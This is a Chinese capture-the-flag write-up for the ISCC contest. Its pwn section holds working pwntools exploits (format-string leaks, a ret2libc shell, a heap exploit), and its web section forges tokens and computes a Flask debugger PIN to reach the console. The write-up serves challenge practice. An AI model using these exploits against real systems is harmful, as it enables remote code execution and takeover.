练武题
reverse
迷失之门
密文在check_2函数里,加密逻辑跟着check_1写爆破即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 enc='FSBBhKkNSPQUTfBllBDMHMEQsX6' v16='ABCDEFGHIJKLMNOPQRSTUVWXYZ' v10='abcdefghijklmnopqrstuvwxyz' v4='0123456789+/-=!#&*()?;:*^%' v3='DABBZXQESVFRWNGTHYJUMKIOLPC' for i in range (len ( enc)): for j in range (32 ,127 ): if j-ord (v3[i])<=0 : pass else : v22=j-ord (v3[i]) if v22>25 : if v22>51 : v1=v4[v22-52 ] else : v1=v10[v22-26 ] if v1== enc[i]: print (chr (j),end='' ) else : if v16[v22]== enc[i]: print (chr (j),end='' )
Cryptic
UPX -d 脱壳一下
改一下v8范围,改成 __int64 v8[4]
提取出密文 enc = '34DEE8516EB6BC3E2ECBF35220C69F6BF2F69678351740D4839B'
两个密钥 key1 = 'So--this-is-the-right-flag'
key2 = 'ISCC'
加密在Encryption和NewEncryption里,逆着写完事
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from Crypto.Util.number import *enc = '34DEE8516EB6BC3E2ECBF35220C69F6BF2F69678351740D4839B' enc = bytes .fromhex(enc) enc = list (enc)[::-1 ] key1 = 'So--this-is-the-right-flag' key2 = 'ISCC' for i in range (len (enc)): enc[i] -= 10 enc[i] &= 0xff for i in range (len (enc)-1 ): enc[i] += enc[i+1 ] enc[i] &= 0xff for i in range (len (enc)-1 ): enc[i] ^= ord (key2[2 ]) for i in range (0 ,len (enc),2 ): enc[i] ^= ord (key2[i%4 ]) for i in range (len (enc)//2 ): enc[i],enc[26 -i-1 ]=enc[26 -i-1 ],enc[i] for i in range (len (enc)//2 ): enc[i],enc[26 -i-1 ]=enc[26 -i-1 ],enc[i] for i in range (len (enc)): enc[i]+=ord (key2[i%4 ]) enc[i]&=0xff print (bytes (enc).decode())
Badcode
从后往前看,这一部分是XXTEA加密,密文是Buf2,key是unk_407018
XXTEA 的delta为0x61C88647
再往上看,这一部分是先用随机数生成异或因子,然后进行异或
随机数种子为 24
直接写个程序获取一下异或因子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <iostream> #include <cstdlib> #include <ctime> using namespace std;int main () { srand (24 ); for (int i = 0 ; i < 24 ; i++) { cout << char (rand () % 10 + 48 ); } return 0 ; }
最后是简单的奇偶位加减
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from Crypto.Util.number import *def shift (z, y, x, k, p, e ): return ((((z >> 5 ) ^ (y << 2 )) + ((y >> 3 ) ^ (z << 4 ))) ^ ((x ^ y) + (k[(p & 3 ) ^ e] ^ z))) def decrypt (v, k ): delta = 0x61C88647 n = len (v) rounds = 6 + 52 // n x = (0 - rounds * delta) & 0xFFFFFFFF y = v[0 ] for i in range (rounds): e = (x >> 2 ) & 3 for p in range (n - 1 , 0 , -1 ): z = v[p - 1 ] v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF y = v[p] p -= 1 z = v[n - 1 ] v[0 ] = (v[0 ] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF y = v[0 ] x = (x + delta) & 0xFFFFFFFF return v enc = [0x16627A6D ,0x6A359C9C ,0x67D6DAF9 ,0xF3B26BC9 ,0x976399FD ,0x4E3EEF36 ] key = [0x12345678 , 0x9ABCDEF0 , 0xFEDCBA98 , 0x76543210 ] decrypted = decrypt(enc, key) flag=[] v16 = '674094872038771148666737' for i in range (len (enc)): x=long_to_bytes(decrypted[i]) for j in range (3 ,-1 ,-1 ): flag.append(x[j]) for i in range (len (flag)): flag[i]^=ord (v16[i])-0x30 if i%2 : flag[i]-=2 else : flag[i]+=3 print (bytes (flag).decode())
DLLCode
第一个加密sub_1414D0
第二个加密就是个异或,key为ISCC
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 enc = [0 ,16 ,56 ,19 ,10 ,61 ,116 ,43 ,3 ,0 ,20 ,3 ,67 ,89 ,83 ,68 ,70 ,84 ,64 ,103 ,75 ,125 ,117 ,98 ] tmp1 = enc[:12 ] v7 = enc[12 :] v4 = [2 ,0 ,3 ,1 ,6 ,4 ,7 ,5 ,10 ,8 ,11 ,9 ] tmp2 = [0 ]*12 for i in range (len (tmp2)): tmp2[i] = v7[v4[i]] key='ISCC' for i in range (len (tmp1)): tmp1[i] ^= ord (key[i%len (key)]) for i in range (len (tmp1)): print (chr (tmp1[i])+chr (tmp2[i]),end='' )
I_am_the_Mathematician
简单的斐波那契数列,从表中取出flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def fib (n ): a, b = 0 , 1 lis = [] for _ in range (n): a, b = b, a + b lis.append(a) return lis with open ("./code_book_41.txt" , "r" ) as file: data = file.read() target = fib(20 ) if target[-1 ] > len (data): raise ValueError("The last Fibonacci number is shorter than the length of the data." ) result_string = '' .join(data[i - 1 ] for i in target if i < len (data) + 1 ) print (f"ISCC{{{result_string} }}" )
WinterBegins
一个简单的表代换加密
首先获取表和密文
这里下两个断点
F9 运行后转到汇编界面按F7运行至jz
修改ZF标志为0x1
再次F9,查看v6
按A生成字符串,得到密文
而str1在sub_7FF787831E30里冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村
写脚本,提交flag发现是错的
注意到flag头是ISC2,应该是ISCC
猜测a2应该也要替换成aa
提交上去就对了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 table = "冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村" enc = "美酒恍疑时温寒炉美酒寒炉寒炉懒写墨花前村时温时温前村恍疑醉看前村恍疑墨花醉看醉看恍疑墨花美酒墨花墨花醉看前村时温墨花前村美酒墨花懒写醉看新诗寒炉懒写醉看时温墨花美酒墨花时温醉看月白醉看寒炉墨花冻笔醉看前村醉看醉看时温墨花前村墨花" def decode_message (table, enc ): decoded = "" i = 0 while i < len (enc): index = table.index(enc[i:i+2 ]) if index == 22 : next_char_index = table.index(enc[i+2 :i+4 ])//2 + 61 decoded += chr (next_char_index) i += 4 else : decoded += chr (index//2 + 48 ) i += 2 return decoded flag_hex = decode_message(table, enc) flag = bytes .fromhex(flag_hex).decode('utf-8' ) print (flag)
Find_All
有点像迷宫题,其实仔细研究就会发现其实就是简单的异或加密
定位到密文
ida python 直接梭
exp
1 2 3 4 5 6 7 v4=[get_wide_byte(0x00401625 +i*7 ) for i in range (24 )] for i in range (0 ,len (v4) - 1 ,4 ): v4[i + 2 ] ^= v4[i+3 ] v4[i + 1 ] ^= v4[i + 2 ] v4[i] ^= v4[i + 1 ] print (bytes (v4).decode())
pwn
chaos
ezshell
格式化字符串泄露
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(log_level='debug' ,arch='amd64' ) p=process('./attachment-13' ) p=remote('182.92.237.102' ,10011 ) def pwn (pay ): p.sendlineafter('>>' ,pay) payload=b'flagis' +b'\x00%p%15$p' pwn(payload) p.recvuntil('0x' ) elf_base=int (p.recv(12 ),16 )-0x2013 back=0x01291 +elf_base log.success(hex (elf_base)) p.recvuntil('0x' ) canary=int (p.recv(16 ),16 ) log.success(hex (canary)) payload=b'\x00' *0x38 +p64(canary)+p64(0 )+p64(back) pwn(payload) pwn('exit' ) p.interactive()
Flag
栈溢出+格式化字符串泄露
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ) p=process('./attachment-12' ) p=remote('182.92.237.102' ,10012 ) elf=ELF('./attachment-12' ) pause() payload=b'%27$p%19$p' p.sendlineafter("what's the content?" ,payload) p.recvuntil('0x' ) libc_start_main=int (p.recv(8 ),16 ) p.recvuntil('0x' ) canary=int (p.recv(8 ),16 ) log.success('canary:{}' .format (hex (canary))) payload=b'a' *(0x94 -0xc )+p32(canary)*4 +p32(elf.plt['puts' ])+p32(0x804931B )+p32(elf.got['puts' ]) p.sendlineafter('Input:\n' ,payload) puts_addr=u32(p.recvuntil(b'\xf7' )[-4 :]) log.success('puts:{}' .format (hex (puts_addr))) system=puts_addr-0x2be80 binsh=puts_addr+ 0x11f183 payload=b'a' *(0x94 -0xc )+p32(canary)*4 +p32(system)+p32(0x804931B )+p32(binsh) p.sendlineafter('Input:\n' ,payload) p.interactive()
原题 n1ctf2018_null 百度一把梭不解释【BUU】n1ctf2018_null
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * sh = process('./attachment-11' ) sh = remote('182.92.237.102' ,10019 ) elf = ELF('./attachment-11' ) sh.sendline("I'm ready for shopping" ) system_plt = elf.plt['system' ] def add (size,n,content='' ): sh.sendlineafter('Action: ' ,str (1 )) sh.sendlineafter('Item ID: ' ,str (size)) sh.sendlineafter('Quantity: ' ,str (n)) if content == '' : sh.sendlineafter('(0/1): ' ,str (0 )) else : sh.sendlineafter('(0/1): ' ,str (1 )) sh.sendafter('Message: ' ,content) for i in range (12 ): add(0x4000 ,1000 ) add(0x4000 ,262 ,'0' *0x3FF0 ) payload = b'1' *0x50 + p32(0 ) + p32(3 ) + 10 *p64(0x60201d ) sleep(2 ) sh.send(payload) sleep(0.2 ) payload = b'/bin/sh' .ljust(0xB ,b'\x00' ) + p64(system_plt) payload = payload.ljust(0x60 ,b'b' ) add(0x60 ,0 ,payload) sh.interactive()
MISC
Number_is_the_key
在视图-页面布局里调整列高和行宽为0.5cm左右
然后替换
查找内容-格式-字体-加粗
替换为-格式-填充-背景色-黑
然后缩小页面发现一个二维码
扫描结果https://rd.wechat.com/qrcode/confirm?block_type=101&content=70RBvm6hJgFg
ISCC{70RBvm6hJgFg}
FunZip
PuzzleSolver 直接梭
ISCC{JAF3Otj8Ggln}
精装四合一
4个图片,每个图片末尾都有多余的数据,手动提出拼接或者写脚本拼接都可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import structdef invert_png_data (png_path, png_sequence ): with open (png_path, 'rb' ) as file: data = file.read() data_post_sequence = data[data.index(png_sequence) + len (png_sequence) + 1 :] return bytes (byte ^ 0xFF for byte in data_post_sequence) def write_data (out_path, data_bytes ): with open (out_path, 'wb' ) as file: file.write(data_bytes) path_list = [r"left_foot_invert.png" , r"left_hand_invert.png" , r"right_foot_invert.png" , r"right_hand_invert.png" ] png_end = b'IEND\xaeB`' inverted_data_list = [invert_png_data(path, png_end) for path in path_list] max_length = max (len (data) for data in inverted_data_list) combined_data = bytes ( inverted_data_list[j][i] for i in range (max_length) for j in range (len (inverted_data_list)) if i < len (inverted_data_list[j]) ) write_data(r"out.zip" , combined_data)
bandizip爆破恢复密码65537
解压出来一个文档,给字体换个颜色,移动白色图片遮挡
得到n=16920251144570812336430166924811515273080382783829495988294341496740639931651
将文档转为ZIP,解压,在media文件夹下找到一个true_flag.jpeg
010editor打开,获得c=0x1087D18636D7933ACBD1820573E587E777B683AF4B921E573A1B905240E3CA5E
RSA解
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import *import gmpy2p = 167722355418488286110758738271573756671 q = 100882503720822822072470797230485840381 e = 65537 n = 16920251144570812336430166924811515273080382783829495988294341496740639931651 c = 0x1087D18636D7933ACBD1820573E587E777B683AF4B921E573A1B905240E3CA5E phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi) m = pow (c,d,n) print (long_to_bytes(m))
RSA_KU
直接分解 n 得到 p 和 q,然后解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from Crypto.Util.number import *import gmpy2c = 85880076921968867438078572213191804192857131807746428900678178641658244521933597762528626802004777319648514731991628482508420164936954454463387033252705553973239541969670776313862924622657089757050186209494155870060256653358984048263085382027082675154788645637310898138206491908147228016899094888990556757238 p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299 q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923 print (p*q)e = 65537 n=p*q phi=(p-1 )*(q-1 ) d = gmpy2.invert(e,phi) print (long_to_bytes(pow (c,d,n)))
成语学习
用wireshark 导出 Http流
用 010 打开 %5c(1)
搜索 png 头89 50 4e 47
导出 png 图片,修复宽高
解压压缩包,搜索flag
Text 1 2 《你信我啊》 李维斯特指着墙上的“若存若亡”边享用cake边和你说,你千万不要拿我的食物去加密啊。
HMACMD5
ISCC{953428e604c5d875e659e3b2f874096d}
Where_is_the_flag
pycdc反编译
key 少一部份,猜测是 pyc 隐写
stegosaurus
得到完整的key,AES解密
1 2 3 4 5 6 7 8 9 10 11 from Crypto.Cipher import AESkey = b'k5fgb2eur5styn0lve3t6r1s' c = '2b0fa16fc676755085a24ad598f397bacfe5a8c48e8b13d9f60dc934e90b4c84' aes = AES.new(key,AES.MODE_ECB) c = bytes .fromhex(c) m = aes.decrypt(c) print (m)
ISCC{tkDvxYjtfsXbi0rtbUUh}
Web
还没想好名字的塔防游戏
描述:
这是一个还没想好名字的塔防游戏。
备注:
(1)Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!
(2)提示在后边哦!
随便玩一下,出现提示
翻翻代码,在world.js里发现完整提示
结合描述对一下脑电波,18位,刚好是游戏标题和提示所有的大写字母
ISCC{MDWTSGTMMCCSITTDWS}
Flask中的pin值计算
给出pin值的计算方法
源代码中提示路径/getusername
,访问后是个海螺
询问一下 app.py内容
访问 /crawler
,要求一秒内完成四则运算
写个脚本搞一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport timeimport redef execute_calculation_and_submit (session, base_url ): get_exp_response = session.get(f'{base_url} /get_expression' ) expression_data = get_exp_response.json() math_expression = expression_data.get('expression' ) if math_expression: fixed_expression = math_expression.replace('×' , '*' ).replace('÷' , '/' ) calculation_result = eval (fixed_expression) print ('计算结果:' , calculation_result) submit_response = session.get(f'{base_url} /crawler?answer={calculation_result} ' ) print ('服务器响应:' , submit_response.text) session = requests.Session() base_url = 'http://101.200.138.180:10006' while True : time.sleep(1 ) execute_calculation_and_submit(session, base_url) """ 计算结果: -4072.460439984561 服务器响应: <h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1> <h1>uuidnode_mac位于/woddenfish</h1> 计算结果: -4072.460439984561 服务器响应: <h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1> <h1>uuidnode_mac位于/woddenfish</h1> 计算结果: -4072.460439984561 服务器响应: <h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1> <h1>uuidnode_mac位于/woddenfish</h1> """
得到两个路径/woddenfish
和/usr/local/lib/python3.11/site-packages/flask/app.py
先看看/woddenfish
有个电子木鱼,一直敲,显示功德不足
看看js,有个jwt token session = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc'
写脚本,敲赛博木鱼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport timejwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc' request_headers = {'Content-Type' : 'application/json' } request_url = 'http://101.200.138.180:10006/woddenfish' def send_request (token, url, headers ): body = {'session' : token} return requests.post(url, json=body, headers=headers) def judge_message (resp ): if resp.status_code != 200 : print (f"请求失败,状态码:{resp.status_code} " ) return False else : response_data = resp.json() if '佛曰:功德不足' not in response_data.get('message' , '' ): print ("服务器响应:" , response_data) return False print ("[*] 包含特定消息" ) return True while True : response = send_request(jwt_token, request_url, request_headers) if not judge_message(response): break time.sleep(0.5 )
得到uuidnode_mac 02:42:ac:18:00:02
和一个新提示机器码在/machine_id
下
访问/machine_id
,点VIP会员奖品获得一个token
看看js,应该需要jwt伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import jsonfrom jwcrypto.common import base64url_decode, base64url_encodeclass TokenAlter : """ 改变一个已有的 token """ def alter_token (self, given_token ): """ 使用 JSON 和紧凑格式的混合来修改 token 内容,如插入长时间的过期声明 """ split_token = given_token.split('.' ) header, payload, signature = split_token[0 ], split_token[1 ], split_token[2 ] decoded_payload = json.loads(base64url_decode(payload)) decoded_payload['role' ] = "vip" encoded_payload = base64url_encode(json.dumps(decoded_payload, separators=(',' , ':' ))) return f'{{"{header} .{encoded_payload} .":"", "protected":"{header} ", "payload":"{payload} ", "signature":"{signature} "}}' my_token_alter = TokenAlter() print (my_token_alter.alter_token(input ("请输入 token:" )))
访问http://101.200.138.180:10006/vipprice?token={...}
得到welcome_to_iscc_club
再session伪造supervip
flask_session_cookie_manager
python flask_session_cookie_manager.py encode -t "{'role': 'supervip'}" -s "welcome_to_iscc_club"
得到supervip session
修改一下 session得到 machine_id acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
回到/getusername
,问一下重复一下username
得到username:pincalculate
最后计算一下pin值
python Flask中的pin值计算.py -u pincalculate -p /usr/local/lib/python3.11/site-packages/flask/app.py -M 02:42:ac:18:00:02 -i acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import hashlibimport argparsedef get_pin (hash_type, public, private ): salt = 'cookiesalt' .encode('utf-8' ) pin_salt = 'pinsalt' .encode('utf-8' ) hasher = getattr (hashlib, hash_type)() for bit in public: hasher.update(str (bit).encode('utf-8' ) if bit else b'' ) for bit in private: hasher.update(str (bit).encode('utf-8' ) if bit else b'' ) hasher.update(salt) hasher.update(pin_salt) pin_hash = int (hasher.hexdigest(), 16 ) pin_num = f"{pin_hash:09d} " [:9 ] for group_size in (5 , 4 , 3 ): if len (pin_num) % group_size == 0 : return '-' .join(pin_num[i:i + group_size].zfill(group_size) for i in range (0 , len (pin_num), group_size)) return pin_num def mac_to_int (mac ): return int (mac.replace(":" , "" ), 16 ) if __name__ == '__main__' : parser = argparse.ArgumentParser(description="PIN Calculation Utility" ) parser.add_argument('-u' , '--username' , required=True , help ="Username of the flask app runner" ) parser.add_argument('-m' , '--modname' , default="flask.app" , help ="Name of the module running Flask" ) parser.add_argument('-a' , '--appname' , default="Flask" , help ="The Flask application name" ) parser.add_argument('-p' , '--path' , required=True , help ="Path to the Flask app's __file__ attribute" ) parser.add_argument('-M' , '--MAC' , required=True , help ="Machine's MAC address" ) parser.add_argument('-i' , '--machineId' , default="" , help ="Machine ID" ) args = parser.parse_args() public_bits = [args.username, args.modname, args.appname, args.path] private_bits = [mac_to_int(args.MAC), args.machineId] md5_pin = get_pin('md5' , public_bits, private_bits) sha1_pin = get_pin('sha1' , public_bits, private_bits) print (f"MD5 Pin: {md5_pin} " ) print (f"SHA1 Pin: {sha1_pin} " )
最后访问http://101.200.138.180:10006/console?pin=252-749-991
得到flagISCC{C@_Gb2@*zdHPNksm}
Mobile
Puzzle_Game
jadx打开,先看看MainActivity
跟进onclick里用到的判断方法C0572a.m102a
可以知道输入应该有两段,第一段为八位纯数字,第二段在native层
反编译 so 文件,发现有一个getend函数,返回一个15位字符串
静态分析比较复杂,考虑直接dump伪代码直接跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <stdio.h> #include <stdlib.h> const char aAbcdefghijklmn[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ; char *getend (void ) { char *result; __int64 v1; int v2; int v3; char v4; int v5; int v6; int v7; int v8; result = malloc (0x10 uLL); result[15 ] = 0 ; v1 = 0LL ; v2 = 0 ; do { v3 = v2 + 5 * v1 - 62 * (((unsigned int )(v2 + 5 * v1 + ((unsigned __int64)(-2078209981LL * (v2 + 5 * (int )v1 + 7 )) >> 32 ) + 7 ) >> 31 ) + ((int )(v2 + 5 * v1 + ((unsigned __int64)(-2078209981LL * (v2 + 5 * (int )v1 + 7 )) >> 32 ) + 7 ) >> 5 )) + 7 ; v4 = aAbcdefghijklmn[v3]; v5 = v2 + 10 ; v6 = 100 ; do { v3 = (v5 + v3) % 62 ; v4 = aAbcdefghijklmn[(v3 + v2 + v4) % 62 ]; --v6; } while ( v6 ); v7 = 100 ; do { v3 = (v5 + v3) % 62 ; v4 = aAbcdefghijklmn[(v3 + v2 + v4) % 62 ]; --v7; } while ( v7 ); v8 = 100 ; do { v3 = (v5 + v3) % 62 ; v4 = aAbcdefghijklmn[(v3 + v2 + v4) % 62 ]; --v8; } while ( v8 ); result[v1] = v4; if ( v2-- == 0 ) v2 = 15 ; ++v1; } while ( v1 != 15 ); return result; } int main () { char *end = getend(); printf ("%s\n" , end); free (end); return 0 ; }
然后爆破第一段数字 SHA256
1 2 3 4 5 6 7 8 9 10 11 12 import hashlibfrom itertools import *import stringsha256 = "437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa" table = string.digits for i in product(table, repeat=8 ): str1 = "" .join(i) + "gwC9nOCNUhsHqZm" if hashlib.sha256(str1.encode()).hexdigest() == sha256: print (str1) break
回到java层,输入是04999999gwC9nOCNUhsHqZm
先encrypt1,再encrypt2后的结果应该就是flag
直接写个Java脚本模拟一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import java.nio.charset.StandardCharsets;import java.util.Random;import java.util.Base64;public class Main { private static String combineStrings (String str, String str2) { return str + str2; } private static byte [] generateSalt(int i) { byte [] bArr = new byte [i]; new Random ().nextBytes(bArr); return bArr; } private static byte [] customEncrypt(byte [] bArr, byte [] bArr2) { byte [] bArr3 = new byte [bArr.length]; for (int i = 0 ; i < bArr.length; i++) { bArr3[i] = (byte ) (bArr[i] ^ bArr2[i % bArr2.length]); } return bArr3; } public static String encrypt (String str, String str2) { byte [] generateSalt = generateSalt(16 ); byte [] customEncrypt = customEncrypt(combineStrings(str, str2).getBytes(StandardCharsets.UTF_8), generateSalt); byte [] bArr = new byte [generateSalt.length + customEncrypt.length]; System.arraycopy(generateSalt, 0 , bArr, 0 , generateSalt.length); System.arraycopy(customEncrypt, 0 , bArr, generateSalt.length, customEncrypt.length); return Base64.getEncoder().encodeToString(bArr); } public static String encrypt2 (String str) { byte [] bytes = str.getBytes(StandardCharsets.UTF_8); for (int i = 0 ; i < bytes.length; i++) { bytes[i] = (byte ) ((bytes[i] + 127 ) % 256 ); } byte [] bArr = new byte [bytes.length]; for (int i2 = 0 ; i2 < bytes.length; i2++) { bArr[i2] = (byte ) (i2 % 2 == 0 ? bytes[i2] ^ 123 : bytes[i2] ^ 234 ); } return Base64.getEncoder().encodeToString(bArr); } public static void main (String[] args) { System.out.println("ISCC{" + encrypt2(encrypt("04999999" , "gwC9nOCNUhsHqZm" )).substring(0 , 32 ) + "}" ); } }